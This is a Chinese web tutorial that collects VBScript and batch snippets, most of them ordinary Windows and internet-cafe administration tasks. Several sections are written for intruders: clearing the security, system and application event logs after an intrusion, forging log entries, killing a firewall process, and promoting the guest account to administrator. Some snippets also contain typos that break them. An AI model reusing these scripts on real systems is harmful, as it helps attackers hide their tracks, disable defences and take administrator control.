脚本之家,脚本语言编程技术及教程分享平台!
分类导航

Python|VBS|Ruby|Lua|perl|VBA|Golang|PowerShell|Erlang|autoit|Dos|bat|

服务器之家 - 脚本之家 - VBS - 用VBS来代替BAT或CMD文件进行命令

用VBS来代替BAT或CMD文件进行命令

2020-07-19 11:21脚本之家 VBS

忽然想到要用VBS来代替BAT或CMD文件进行命令集成,于是开始下苦工学习了一番!在网上找了好久终于找到东西。

自动导入注册表的,带检测:
On Error Resume Next
dim msg,fso,shell
Set fso = Wscript.createobject("scripting.filesystemobject")
set wshshell = wscript.CreateObject("wscript.shell")
set shell = wscript.createobject("wscript.shell")
IF (fso.FileExists("e:\劲乐团\reg.reg")) Then 
shell.run "c:\windows\Regedit.exe /s e:\劲乐团\reg.reg "
shell.run "e:\劲乐团\O2Jam.exe" 
Else

msg=msgbox("注册表未导入,游戏可能无法启动,如无法进游戏请叫网管~",1,"出问题啦!!")
shell.run "e:\劲乐团\O2Jam.exe"
end if



不带检测的:

On Error Resume Next
Dim oShell,fso
Set oShell = WScript.CreateObject("WScript.Shell")
set fso = CreateObject("Scripting.filesystemobject")
oShell.Run "regedit /s 9you.reg" 
oShell.Run "d:\网络游戏\劲乐团\O2Jam.exe"

自动加载虚拟光驱的:

Dim oShell
Set oshell= WScript.CreateObject("WScript.Shell")
oShell.Run "c:\progra~1\daemon~1\daemon.exe -mount 0,D:\lan\战地2\BF2CD1mini.mds"
wscript.sleep 5000
oShell.Run "D:\lan\战地2\BF2.exe"

另一例子:

Dim Wsh,DMpath,ISOpath
DMpath = "X:\Y\daemon.exe" '设置DM路径
ISOpath = "Z:\大富翁七\RICH7B.mds" '设置镜像文件路径
Set Wsh = WScript.CreateObject("WScript.Shell")
Wsh.run chr(34) & DMpath & chr(34) &" -mount 0,"&ISOpath,0,true

Wscript.Sleep 3000 '最好延时几秒等待镜像加载完毕 1000 = 1 秒

Wsh.run "Z:\大富翁七\rich7.exe" 
Set WSH = Nothing
WScript.quit

//每次开机的时候自动导入注册表和程序
Option Explicit
Dim Folder


Folder = "d:\aaa" '设置你要执行的文件夹


Dim Wsh,fso
Set Wsh = WScript.CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
Dim f,fc,f1,ext
Set f = fso.GetFolder(Folder)
Set fc = f.Files
For Each f1 in fc
ext = LCase(fso.GetExtensionName(f1))
Select Case ext
Case "exe"
wsh.run f1,,true
Case "reg"
wsh.run "Regedit /s "& f1,,true
end Select
Next


Set fso=NoThing
Set Wsh = Nothing
WScript.quit

//排除指定文件或文件夹删除多余的文件或文件夹,黑火原创
Option Explicit

''''''''''''''说明''''''''''''
'网盟-黑火制作,送给需要的朋友。
'配置文件“Listfile.ini”的格式如下:
'要删除什么(文件|目录)=要执行删除的文件夹=排除1;排除2;排除3............
'配置文件可以有多行,以便对多个目录进行操作。
'配置文件里以“/”开头的行为注释行。
'排除多个内容时,使用分号“;”进行分隔。
'↓↓↓ 配置文件例子:↓↓↓
'/配置文件开始
'目录=D:\=System Volume Information;网络游戏;单机游戏;小游戏
'目录=C:\Program Files=qq;WinRAR
'文件=D:\网络游戏=文件1.exe;文件2.exe
'/配置文件结束
'''''''''''''说明完''''''''''''

Dim Fso,Listfile,objListfile
Listfile = "" '设置配置文件路径,如果配置文件和脚本放在一起,请保持原样

If Listfile = "" Then Listfile = "Listfile.ini"
Set Fso = CreateObject("Scripting.FileSystemObject")
On Error Resume Next
Set objListfile = Fso.OpenTextFile(Listfile,1)
If Err Then
err.Clear
Msgbox "没有找到配置文件 "&Listfile,16,"错误"
WScript.quit
End If
On Error GoTo 0

Dim flnum,fdnum,t1,t2,tm
flnum=0
fdnum=0
t1 = timer()

Dim Myline,LineArr,ListArr
Do While objListfile.AtEndOfStream <> True
Myline = LCase(Replace(objListfile.ReadLine,"==","="))
If Left(Myline,1) = "/" Then
'objListfile.SkipLine
ElseIf CheckLine(Myline) = 2 Then
LineArr = Split(Myline,"=")
'DoFolder = LineArr(1)
ListArr = Split(LineArr(2),";")
'MsgBox LineArr(0)
If LineArr(0) = "目录" Then DelFolder LineArr(1),ListArr
If LineArr(0) = "文件" Then DelFile LineArr(1),ListArr
End If
Loop

t2 = timer()
tm=cstr(int(( (t2-t1)*10000 )+0.5)/10)

MsgBox "扫描完毕,共删除 "&fdnum&" 个目录, "&flnum& "个文件。"& vbCrLf &"耗时 "&tm&" 毫秒",64,"执行完毕"
'不需要显示报告的话,注释掉上面这一行

Set Fso=NoThing
WScript.quit

Sub DelFolder(Folder,ListArr)
Dim objFolder,subFolders,subFolder
Set objFolder=Fso.Getfolder(Folder)
Set subFolders=objFolder.subFolders
For Each subFolder In subFolders
If Not InArray(LIstArr,LCase(subFolder.name)) Then
On Error Resume Next
subfolder.Delete(True)
If Err Then
err.Clear
Msgbox "不能删除目录,请检查 "&subFolder,16,"错误"
Else
fdnum = fdnum + 1
End If
On Error GoTo 0
End If
Next
End Sub

Sub DelFile(Folder,ListArr)
Dim objFolder,Files,File
Set objFolder=Fso.Getfolder(Folder)
Set Files=objFolder.Files
For Each File In Files
If Not InArray(LIstArr,LCase(File.name)) Then
On Error Resume Next
File.Delete(True)
If Err Then
err.Clear
Msgbox "不能删除文件,请检查 "&File,16,"错误"
Else 
flnum = flnum + 1
End If
On Error GoTo 0
End If
Next
End Sub

Function CheckLine(strLine)
Dim LineRegExp,Matches
Set LineRegExp = New RegExp
LineRegExp.Pattern = ".=."
LineRegExp.Global = True
Set Matches = LineRegExp.Execute(strLine)
CheckLine = Matches.count
End Function

Function InArray(Myarray,StrIn)
Dim StrTemp
InArray = True
For Each StrTemp In Myarray
If StrIn = StrTemp Then
Exit Function
Exit For
End If
Next
InArray = False
End Function

!获得特定文件夹的路径(例如当前用户的桌面在磁盘中的实际位置,等等,相当于vc中的SHGetSpecialFolderPath()函数)

Set wsShell = CreateObject("WScript.Shell")
DesktopPath = wsShell.SpecialFolders("Desktop")


!获取当前用户名称
Set WshNetwork = WScript.CreateObject("WScript.Network")

UserName= WshNetwork.UserName


!获取系统变量%SystemRoot%(当然其他的系统变量可以类推,只是不只是不是都要通过PROCESS中转一下)

Set fso = CreateObject("Scripting.FileSystemObject")
Set WshSysEnv = wsShell.Environment("PROCESS") 
SystemRoot = WshSysEnv("WINDIR") 
!将域用户或租添加到本地组

Set objGroup = GetObject("WinNT://./Administrators")
Set objUser = GetObject("WinNT://testnet/Engineers")
objGroup.Add(objUser.ADsPath)

!修改本地管理员密码

Set objcnlar = GetObject("WinNT://./administrator, user")
objcnla.SetPassword "P@ssW0rd"
objcnla.SetInfo

!弹出 YES or NO 的对话框,不同的选择执行不同的代码

intAnswer = Msgbox("Do you want to delete these files?", vbYesNo, "Delete Files")
If intAnswer = vbYes Then 
Msgbox "You answered yes."
Else Msgbox "You answered no." 
End If

!运行CMD命令行命令

set obshell=wscript.createobject("wscript.shell")
obshell.run ("ipconfig"),,true
如果要运行的命令中包含双引号,可使用&chr(34)&代替

!忽略代码错误继续执行

On Error Resume Next
放置于代码的最开头,当代码运行出错后并不停止跳出而是继续执行下一条。适当应用会很有效果。
!破解下载限制
DIM WSH

SET WSH=WSCRIPT.CreateObject("WSCRIPT.SHELL")
WSH.POPUP("本程序的作用是解决无法下载的问题")
WSH.POPUP("特别是在注册表禁用的情况下破解")
WSH.POPUP("由曾诚制作")
WSH.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1803",0,"REG_DWORD"
WSH.POPUP("现在您可以下载程序了!") 

!读本机“计算机名”


'ReadComputerName.vbs
Dim ReadComputerName
Set ReadComputerName=WScript.CreateObject("WScript.Shell")
Dim ComputerName,RegPath
RegPath="HKLM\System\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName"
ComputerName=ReadComputerName.RegRead(RegPath)
MsgBox("计算机名为"&ComputerName)

!隐藏快捷方式图标上的小箭头


'Hidden.vbs
Dim HiddenArrowIcon
Set HiddenArrowIcon=WScript.CreateObject("WScript.Shell")
Dim RegPath1,RegPath2
RegPath1="HKCR\lnkfile\IsShortCut"
RegPath2="HKCR\piffile\IsShortCut"
HiddenArrowIcon.RegDelete(RegPath1)
HiddenArrowIcon.RegDelete(RegPath2)

!改造“开始”菜单


'ChangeStartMenu.vbs
Dim ChangeStartMenu
Set ChangeStartMenu=WScript.CreateObject("WScript.Shell")
RegPath="HKCR\Software\Microsoft\Windows\CurrentVersion\Policies\"
Type_Name="REG_DWORD"
Key_Data=1
  
StartMenu_Run="NoRun"
StartMenu_Find="NoFind"
StartMenu_Close="NoClose"
  
Sub Change(Argument)
ChangeStartMenu.RegWrite RegPath&Argument,Key_Data,Type_Name
MsgBox("Success!")
End Sub
  
Call Change(StartMenu_Run) '禁用“开始”菜单中的“运行”功能
Call Change(StartMenu_Find) '禁用“开始”菜单中的“查找”功能
Call Change(StartMenu_Close) '禁用“开始”菜单中的“关闭系统”功能

!向Windows中添加自启动程序


该程序能在开机时自动运行。
'AddAutoRunProgram.vbs
'假设该程序在c:\myfile文件夹中,文件名为autorun.exe
Dim AutoRunProgram
Set AutoRunProgram=WScript.CreateObject("WScript.Shell")
RegPath="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"
Type_Name="REG_SZ"
Key_Name="AutoRun"
Key_Data="C:\Myfile\autorun.exe"
'该自启动程序的全路径文件名
AutoRunProgram.Write RegPath&Key_Name,Key_Data,Type_Name
'在启动组中添加自启动程序autorun.exe
MsgBox("Success!") 
一、给注册表编辑器解锁

  用记事本编辑如下内容:

DIM WSH
SET WSH=WSCRIPT.CreateObject("WSCRIPT.SHELL") '击活WScript.Shell对象
WSH.POPUP("解锁注册表编辑器!")
'显示弹出信息“解锁注册表编辑器!”
WSH.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion
\Policies\System\DisableRegistryTools",0,"REG_DWORD"
'给注册表编辑器解锁
WSH.POPUP("注册表解锁成功!")
'显示弹出信息“注册表解锁成功!”
保存为以.vbs为扩展名的文件,使用时双击即可。

  二、关闭Win NT/2000的默认共享

  用记事本编辑如下内容: 

Dim WSHShell'定义变量
set WSHShell=CreateObject("WScript.shell") '创建一个能与操作系统沟通的对象WSHShell
Dim fso,dc
Set fso=CreateObject("Scripting.FileSystemObject")'创建文件系统对象 
set dc=fso.Drives '获取所有驱动器盘符
For Each d in dc 
Dim str 
WSHShell.run("net share"&d.driveletter &"$ /delete")'关闭所有驱动器的隐藏共享
next 
WSHShell.run("net share admin$ /delete")
WSHShell.run("net share ipc$ /delete")'关闭admin$和ipc$管道共享

  现在来测试一下,先打开cmd.exe,输入net share命令就可以看到自己机子上的共享。双击执行stopshare.vbs后,会看见窗口一闪而过。然后再在cmd里输入net share命令,这时候没有发现共享列表了

  三、显示本机IP地址

  有许多时候,我们需要知道本机的IP地址,使用各种软件虽然可以办到,但用VBS脚本也非常的方便。用记事本编辑如下内容:

Dim WS
Set WS=CreateObject("MSWinsock.Winsock")
IPAddress=WS.LocalIP
MsgBox "Local IP=" & IPAddress

  将上面的内容保存为ShowIP.vbs,双击执行即可得到本机IP地址。

  四、利用脚本编程删除日志

  入侵系统成功后黑客做的第一件事便是清除日志,如果以图形界面远程控制对方机器或是从终端登陆进入,删除日志不是一件困难的事,由于日志虽然也是作为一种服务运行,但不同于http,ftp这样的服务,可以在命令行下先停止,再删除,在命令行下用net stop eventlog是不能停止的,所以有人认为在命令行下删除日志是很困难的,实际上不是这样,比方说利用脚本编程中的VMI就可以删除日志,而且非常的简单方便。源代码如下:

strComputer= "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate,(Backup)}!\\" & _
strComputer & "\root\cimv2")
dim mylogs(3)
mylogs(1)="application"
mylogs(2)="system"
mylogs(3)="security"
for Each logs in mylogs
Set colLogFiles=objWMIService.ExecQuery _
("Select * from Win32_NTEventLogFile where LogFileName='"&logs&"'")
For Each objLogfile in colLogFiles 
objLogFile.ClearEventLog() 
Next
next

  将上面的代码保存为cleanevent.vbs文件即可。在上面的代码中,首先获得object对象,然后利用其clearEventLog ()方法删除日志。建立一个数组,application,security,system,如果还有其他日志也可以加入数组。然后用一个for循环,删除数组中的每一个元素,即各个日志。

  五、利用脚本伪造日志

  删除日志后,任何一个有头脑的管理员面对空空的日志,马上就会反应过来被入侵了,所以一个聪明的黑客的学会如何伪造日志。利用脚本编程中的eventlog方法创造日志非常简单,请看下面的代码:

set ws=wscript.createobject("Wscript.shell")
ws.logevent 0 ,"write log success" '创建一个成功执行日志

  将上面的代码保存为createlog.vbs即可。这段代码很容易理解,首先获得wscript的一个shell对象,然后利用shell对象的logevent方法。logevent的用法:logevent eventtype,"description" [,remote system],其中eventtype为日志类型,可以使用的参数如下:0代表成功执行,1执行出错,2警告,4信息,8成功审计,16故障审计。所以上面代码中,把0改为1,2,4,8,16均可,引号中的内容为日志描述。利用这种方法写的日志有一个缺点,即只能写到应用程序日志,而且日志来源只能为 WSH,即Windows Scripting Host,所以不能起太多的隐蔽作用,在此仅供大家参考。

  六、禁用开始菜单选项

  用记事本编辑如下内容:

Dim ChangeStartMenu 
Set ChangeStartMenu=WScript.CreateObject("WScript.Shell") 
RegPath="HKCR\Software\Microsoft\Windows\CurrentVersion\Policies\" 
Type_Name="REG_DWORD" 
Key_Data=1 
  
StartMenu_Run="NoRun" 
StartMenu_Find="NoFind" 
StartMenu_Close="NoClose" 
  
Sub Change(Argument) 
ChangeStartMenu.RegWrite RegPath&Argument,Key_Data,Type_Name 
MsgBox("Success!") 
End Sub 
  
Call Change(StartMenu_Run) '禁用“开始”菜单中的“运行”功能 
Call Change(StartMenu_Find) '禁用“开始”菜单中的“查找”功能 
Call Change(StartMenu_Close) '禁用“开始”菜单中的“关闭系统”功能

  将以上代码保存为ChangeStartMenu.vbs文件,使用时双击即可。

  七、执行外部程序

  用记事本编辑如下内容:

DIM objShell
set objShell=wscript.createObject("wscript.shell")
iReturn=objShell.Run("cmd.exe /C set var=world", 1, TRUE)

  保存为.vbs文件即可。在这段代码中,我们首先设置了一个环境变量,其名为var,而值为world,用户可以使用%Comspec%来代替cmd.exe,并且可以把命令:set var=world改成其它的命令,这样就可以使它可以运行任意的命令。

  八、重新启动指定的IIS服务

  用记事本编辑如下内容:

Const ADS_SERVICE_STOPPED = 1
Set objComputer = GetObject("WinNT://MYCOMPUTER,computer")
Set objService = objComputer.GetObject("Service","MYSERVICE")
If (objService.Status = ADS_SERVICE_STOPPED) Then
objService.Start
End If

//检查Search目录中的特定文件中的特定字符并将结果放入Result.txt中
Set objNetwork = CreateObject("Wscript.Network")
strComputer = objNetwork.ComputerName

Const ForReading = 1
Const ForAppending = 8
Dim arrFileLines()
i=0

Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\" & strComputer & "
ootcimv2")
Set colFiles = objWMIService.ExecQuery("Select * from CIM_DataFile where Path = '\search\'")
For Each objFile in colFiles
If objFile.Extension = "log" Then 
FileName = objFile.Name
Wscript.Echo FileName
End IF
Next

Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.OpenTextFile("input.txt",ForReading)
InputLine = objFile.ReadLine
objFile.Close

set objFile = objFSO.OpenTextFile(FileName,ForReading)
Do Until objFile.AtEndOfStream
SearchLine = objFile.ReadLine
If InStr(SearchLine,InputLine) = 0 Then

Else
Redim Preserve arrFileLines(i)
arrFileLines(i) = SearchLine
i=i+1
End If
Loop
objFile.Close

Set objFile = objFSO.OpenTextFile("result.txt", ForAppending)
For l = Ubound(arrFileLines) to LBound(arrFileLines) Step -1
objFile.WriteLine arrFileLines(l)
Next
objFile.Close 

//在用户登陆的时候清除所有的管理员账户,只保留Administrator和NetShowServices,并修改Administrator的密码为55555555
Set objNetwork = CreateObject("Wscript.Network")
strComputer = objNetwork.ComputerName
StrUser = objNetwork.Name
StrStat = "False"

Set colGroups = GetObject("WinNT://" & strComputer & "")
colGroups.Filter = Array("group")
For Each objGroup In colGroups
For Each objUser in objGroup.Members
If objUser.name = StrUser Then
If objGroup.Name = "Aadministrators" Then
StrStat = "True"
End If
End If
Next
Next


Set objGroup = GetObject("WinNT://" & strComputer & "/Administrators")
For Each objUser in objGroup.Members
If objUser.Name = "Administrator" OR objUser.Name = "NetShowServices" Then 
If objUser.Name = "Administrator" AND StrStat = " True " Then
objUser.SetPassword "55555555"
End If
Else 
objGroup.Remove(objUser.ADsPath)
End If
Next

//妙用脚本和批处理清除电脑中的痕迹
实现本功能使用了两个文件,VBS脚本文件reg.vbs(可以自己定义文件名);批处理文件reg.bat(可以自己定义文件名)。 

  1.VBS脚本文件如下: 

Dim WSHShell 

Set WSHShell=WScript.CreateObject("WScript.Shell") 

WSHShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\reg","reg.vbs" 

WSHShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce\deldel","reg.bat" 

WSHShell.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "about:blank" 

WSHShell.RegWrite "HKCU\Software\Microsoft\Internet Explorer\TypedURLs\","" 

WSHShell.RegDelete "HKCU\Software\Microsoft\Internet Explorer\TypedURLs\" 

WSHShell.RegWrite "HKCU\Software\Microsoft\Internet Explorer\TypedURLs\","" 

WSHShell.RegWrite "HKCU\Software\3721\InputCns\","" 

WSHShell.RegDelete "HKCU\Software\3721\InputCns\" 

WSHShell.RegWrite "HKCU\Software\3721\InputCns\","" 

  本脚本前二行为定义变量,请大家照着写。从第三行开始,是对注册表的处理。第三行、第四行为在注册表中添加计算机启动时自动运行的过程文件,一个是该脚本自身为reg.vbs,另一个是reg.bat批处理文件。第五行为还原IE开始页为“about:blank”;第六、七、八行为清除IE浏览器地址栏留下的曾经浏览过的网页地址名;第九、十、十一行为清除IE地址栏里的网络实名。
2.批处理文件如下: 

@deltree -y c:\windows\temp\*.* 

@deltree -y c:\windows\"Temporary Internet Files"\*.* 

@deltree -y c:\windows\History\*.* 

@deltree -y C:\Windows\Recent\*.* 

@deltree -y C:\RECYCLED\*.* 

@deltree -y C:\WINDOWS\Cookies\*.* 

//利用VBS脚本使用两个VBS脚本来实现让QQ永远在线
1.QQ自动登录脚本 
set fso = Wscript.createObject("Scripting.FileSystemObject")
Set f = fso.createTextFile("QQ自动登录.bat",true)
f.WriteLine "@echo off" & vbcrlf
for each ps in getobject("winmgmts:\\\\.\\root\\cimv2:win32_process").instances_ \'列出系统中所有正在运行的程序
if lcase(ps.name)="qq.exe" or lcase(ps.name)="tm.exe" then \'检测是否QQ或TM
QQCMD=ps.commandline \'提取QQ程序的命行
tmp=Replace(QQCMD,chr(34),space(1))
UIN1=instr(tmp,"QQUIN:")+6
if not len(UIN1)=0 then
QQUIN=mid(tmp,UIN1,instr(UIN1,tmp,space(1))-UIN1) \'取QQ号码.
QQ=QQ+1
QQNUM=QQNUM & "QQ号码" & QQ & ":" & vbtab & QQUIN & vbcrlf
f.WriteLine "ECHO QQ号码:" & QQUIN
f.WriteLine "ECHO 命令行:" & QQCMD
f.WriteLine QQCMD & vbcrlf
end if
end if
next
if not len(QQ)=0 then
MSGBOX "已经成功提取以下QQ号码的自动登录命令行" & vbcrlf & vbcrlf & QQNUM & vbcrlf & "具体请查看当前目录下的文件",0,"QQ自动
登录命令提取脚本 BY chenall QQ:XXXXXX"
else
msgbox "提取QQ自动登录命令失败,请查看QQ或TM是否正在运行.",0,"QQ自动登录命令提取脚本 BY chenall QQ:XXXXXX"
f.close
set f = fso.getfile("QQ自动登录.bat")
f.delete
end if
将这些代码存储为"*.vbs"文件。然后将所有需要自动登录的QQ号码全部登录,再在一个QQ上点击"菜单"→"一键切换到TM"。此后运行该VBS脚本,会发现在当前目录下生成了一个"QQ自动登陆.bat"的文件,运行该文件即可自动登录所有QQ号码。
小提示:代码中的"XXXXXX"代表你的QQ号。

2.QQ防止关闭脚本
dim QQUIN
for each ps in getobject("winmgmts:\\\\.\\root\\cimv2:win32_process").instances_ \'列出系统中所有正在运行的程序
if lcase(ps.name)="qq.exe" or lcase(ps.name)="tm.exe" then \'检测是否QQ或TM
AppPath=ps.commandline \'提取QQ程序的命行
tmp=Replace(AppPath,chr(34),space(1))
UIN1=instr(tmp,"QQUIN:")+6 
QQUIN=mid(tmp,UIN1,instr(UIN1,tmp,space(1))-UIN1) \'取QQ号码.
end if
next
if len(QQUIN)=0 then
msgbox "系统中没有运行QQ或TM程序,请重新启动QQ或TM,登陆后再使用一键换切换一下QQ或TM程序,再运行本脚本"
else
do \'循环检测
myqqin=chkuin(QQUIN) \'检测上面提取出来的QQ号码是否有在本机打开
if not myqqin then \'如果没有运行则,重新运行QQ程序并登录 
runapp(AppPath) \'
wscript.sleep 10000 \'等待10秒
else
wscript.sleep 5000 \'等待5秒
end if
loop \'返回继续检测
end if

function RunApp(AppPath)
dim obj
set obj = createobject("WScript.Shell")
obj.exec(AppPath)
end function

function chkuin(QQUIN)
for each ps in getobject("winmgmts:\\\\.\\root\\cimv2:win32_process").instances_ 
if lcase(ps.name)="qq.exe" or lcase(ps.name)="tm.exe" then
AppPatht=ps.commandline
\'by chenall qq 368178720
tmp=Replace(AppPatht,chr(34),space(1))
UIN1=instr(tmp,"QQUIN:")+6
QQUINTMP=mid(tmp,UIN1,instr(UIN1,tmp,space(1))-UIN1)
if QQUINTMP=QQUIN then chkuin=true end if
end if
next
end function
将以上代码存储为"*.vbs"文件。而后登录QQ,一键切换到TM,再运行VBS脚本。此后,即使关闭了TM/QQ,它也会自动启动并登录至网络。经笔者在Windows XP SP2系统上测试,完全有效。

//kill进程 vbs脚本 
写一个VBS脚本:
在SHELL里输入:
copy con kill.vbs (菜鸟注意:执行完这行之后就没有命令提示符了)
CODEstrComputer = "."
Set objWMIServive = GetObject("winmagmts:" _ 
& "{impersonationLevel=impcrsonatc}!\\" &strComputer & "\root\cimv2"
Set colProcesslist = objWMIService.ExecQuery _
("select * from Win32 Process Where Name = 'PFWMain.exe'"
For Each objPrecess in colProcessList
objProcess.Terminate()
Next

'PFWMain'是天网的防火墙,你可以自行更改
输入完之后同时按下"CTRL"+"z",命令提示符就又出来了.
然后就是执行他了:
csript kill.vbs 

//显示本机IP地址
Dim WS
Set WS=CreateObject("MSWinsock.Winsock")
IPAddress=WS.LocalIP
MsgBox "Local IP=" & IPAddress

//利用脚本伪造日志
 删除日志后,任何一个有头脑的管理员面对空空的日志,马上就会反应过来被入侵了,所以一个聪明的黑客的学会如何伪造日志。利用脚本编程中的eventlog方法创造日志非常简单,请看下面的代码:

set ws=wscript.createobject("Wscript.shell")
ws.logevent 0 ,"write log success" '创建一个成功执行日志

  将上面的代码保存为createlog.vbs即可。这段代码很容易理解,首先获得wscript的一个shell对象,然后利用shell对象的logevent方法。logevent的用法:logevent eventtype,"description" [,remote system],其中eventtype为日志类型,可以使用的参数如下:0代表成功执行,1执行出错,2警告,4信息,8成功审计,16故障审计。所以上面代码中,把0改为1,2,4,8,16均可,引号中的内容为日志描述。利用这种方法写的日志有一个缺点,即只能写到应用程序日志,而且日志来源只能为 WSH,即Windows Scripting Host,所以不能起太多的隐蔽作用,在此仅供大家参考。

//执行外部程序
用记事本编辑如下内容:

DIM objShell
set objShell=wscript.createObject("wscript.shell")
iReturn=objShell.Run("cmd.exe /C set var=world", 1, TRUE)

  保存为.vbs文件即可。在这段代码中,我们首先设置了一个环境变量,其名为var,而值为world,用户可以使用%Comspec%来代替cmd.exe,并且可以把命令:set var=world改成其它的命令,这样就可以使它可以运行任意的命令。
set ws=wscript.createobject("wscript.shell")
ws.run "bat.bat /start",0
将上面代码写在记事本里保存扩展名为**.vbs ,其中批处理将不再显示窗口并在运行后自动结束脚本.
//延时启动运行某程序
Dim Wsh
Set Wsh = WScript.CreateObject("WScript.Shell")
WScript.Sleep(60000)
Wsh.Run "D:\bat.bat",,True
Set Wsh=NoThing
WScript.quit
扫描非法上机的脚本:

Option Explicit
'On Error Resume Next
Dim intStartingAddress,intEndingAddress,strSubnet,strComputer,ProName
Dim objShell,strCommand,objExecObject,strText

intStartingAddress = 1 '设置起始IP
intEndingAddress = 100 '设置结束IP
strSubnet = "192.168.0." '设置IP段前缀
ProName = "SMENU.exe" '你要检查的进程名,注意大小写

Dim Wsh,fso,logfile
Set Wsh = WScript.CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
Set logfile = fso.OpenTextFile("扫描记录.txt",2,True)
logfile.Writeline time&" 开始扫描"
logfile.WriteBlankLines(1)
Dim i
For i = intStartingAddress to intEndingAddress
strComputer = strSubnet & i
Set objShell = CreateObject("WScript.Shell")
strCommand = "%comspec% /c ping -n 2 -w 500 " & strComputer & ""
Set objExecObject = objShell.Exec(strCommand)
Do While Not objExecObject.StdOut.AtEndOfStream
strText = objExecObject.StdOut.ReadAll()
If Instr(strText, "Reply") > 0 Then
If Not CheckPro(strComputer,ProName) Then
Doit(strComputer)
End If
End If
Loop
Next
logfile.WriteBlankLines(1)
logfile.Writeline time&" 扫描结束"
logfile.close
Msgbox "扫描结束",64,"扫描结束"
WScript.quit


Function CheckPro(strComputer,ProName)
Dim objWMIService,colProcesses,objProcess
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colProcesses = objWMIService.ExecQuery("Select * from Win32_Process")
CheckPro = False
For Each objProcess in colProcesses
If objProcess.Name = ProName Then
CheckPro = True
Exit For
End If
Next
End Function

Sub Doit(strComputer)
logfile.Writeline "注意 "&strComputer&" 状态异常 "&time
Wsh.popup "注意 "&strComputer&" 状态异常",5
End Sub

//修改快捷方式路径的脚本:(放到装快捷方式的文件夹里执行)

Option Explicit
Dim oldpath,newpath

oldpath = "x:\game" '设置原路径中将被替换的内容
newpath = "g:\game\langame" '设置新路径中要使用的内容

Dim Wsh,fso
Set Wsh = WScript.CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
Dim ji_1,ji_2,Folder
ji_1 = 0
ji_2 = 0
Folder = Wsh.CurrentDirectory
if Ask("将要修改"&chr(34)& Folder &chr(34)&"里的所有快捷方,是否继续") then
Dim f,fc,f1,ext
Set f = fso.GetFolder(Folder)
Set fc = f.Files
For Each f1 in fc
ext = LCase(fso.GetExtensionName(f1))
if ext = "lnk" then
ji_1 = ji_1 + 1
call Doit(f1)
end if
Next
end if

Set WSH = Nothing
msgbox "找到 "&ji_1&" 个快捷方式"&vbCrLf&"修改 "&ji_2&" 个快捷方式",64,"执行完毕"
WScript.quit

Sub Doit(strlnk)
Dim oShlnk
Set oShlnk = Wsh.CreateShortcut(strlnk)
If Instr(oShLnk.TargetPath,oldpath) > 0 Then
oShLnk.TargetPath = Replace(oShLnk.TargetPath,oldpath,newpath)
oShLnk.Save
ji_2 = ji_2 + 1
End If
Set oShLnk=NoThing
End Sub

Function Ask(strAction)
Dim intButton
intButton = MsgBox(strAction,vbQuestion + vbYesNo,"询问")
Ask = intButton = vbYes
End Function

//根据机器名列表执行代码的脚本:

'注意,"保存机器名的文件.txt" 为一行一个机器名
dim fso,cnamefile,cname
Set fso = CreateObject("Scripting.FileSystemObject")
Set cnamefile = fso.OpenTextFile("保存机器名的文件.txt",1)
Do While cnamefile.AtEndOfStream <> True
cname = cnamefile.ReadLine
Doit(cname)
Loop
cnamefile.close

Sub Doit(Name)
Msgbox Name
'''''''''
'''''''''
'你要执行的代码
'''''''''
'''''''''
End Sub

//运行注册表,拷贝文件,运行指定程序VBS
'On Error Resume Next
Dim oShell,fso
Set oShell = WScript.CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
oShell.Run "regedit /s 01.reg"
fso.copyfile "D:\棋牌游戏\边锋\!边锋图标\copy\*.*","C:\WINNT\system32\"
oShell.Run "D:\棋牌游戏\边锋\asdegame.exe"
set oshell = nothing
set fso = nothing
WScript.quit

//利用VBS将guest提升为adminstrator。

dim wsh 
set wsh=CreateObject("WScript.Shell")
wsh.run "net user guest /active:yes",0
wsh.run "net user guest 5201314",0
wsh.run "net localgroup administrators guest /add",0
其中5201314为guest的密码
//绑定IP和MAC的批处理兄弟 vbs

wscript.sleep 15000

gw="192.168.8.8"
mac="00-e0-4c-41-8a-65"

Set objShell = CreateObject("WScript.Shell")
objShell.Run "arp -s "+gw+" "+mac

以上脚本 复制-粘贴-另存 mac.vbs 格式

以下说明

做了一个小改动.15秒时延 wscript.sleep 15000

wscript.sleep 15000
gw="192.168.8.8" 设为你工作站的网关IP地址。
mac="00-e0-4c-41-8a-65"mac设为你网关服务器的mac地址。

'(网关服务器mac地址.可以在正常情况下工作站执行用 arp -a或是由代理服务器上查看到
一般来说,一个网吧内的网关mac地址是相同的。)
'书写格式请你参照脚本里面的写法。

//批处理编的非法进程监控器(原创)

注解:


@ECHO DIM OBJSHELL >NOWINDOWS.VBS
@ECHO SET OBJSHELL=WSCRIPT.CREATEObject("WSCRIPT.SHELL") >>NOWINDOWS.VBS
@ECHO IRETURN=OBJSHELL.RUN("CMD.EXE /C TASK.BAT", 0, TRUE) >>NOWINDOWS.VBS
@ECHO WSCRIPT.SLEEP(2000) >TIME.VBS
上面这些都不用改了
主要就是下面这些了
大家看到PP VAGAA这些名称应该不会眼生吧,对!他就是我们要禁的P2P软件的名称,如果要添加的话,可以在
@ECHO GOTO TASK >>TASK.BAT这段命令的前面再加上一段,例要禁QQ ,@ECHO TSKILL QQ >>TASK.BAT,千万不要加后缀,加上就不能使用了。

@ECHO :TASK >TASK.BAT
@ECHO TIME.VBS >>TASK.BAT
@ECHO TSKILL PP >>TASK.BAT
@ECHO TSKILL VAGAA >>TASK.BAT
@ECHO TSKILL POCO >>TASK.BAT
@ECHO TSKILL KUGOO >>TASK.BAT
@ECHO TSKILL FLASHGET >>TASK.BAT
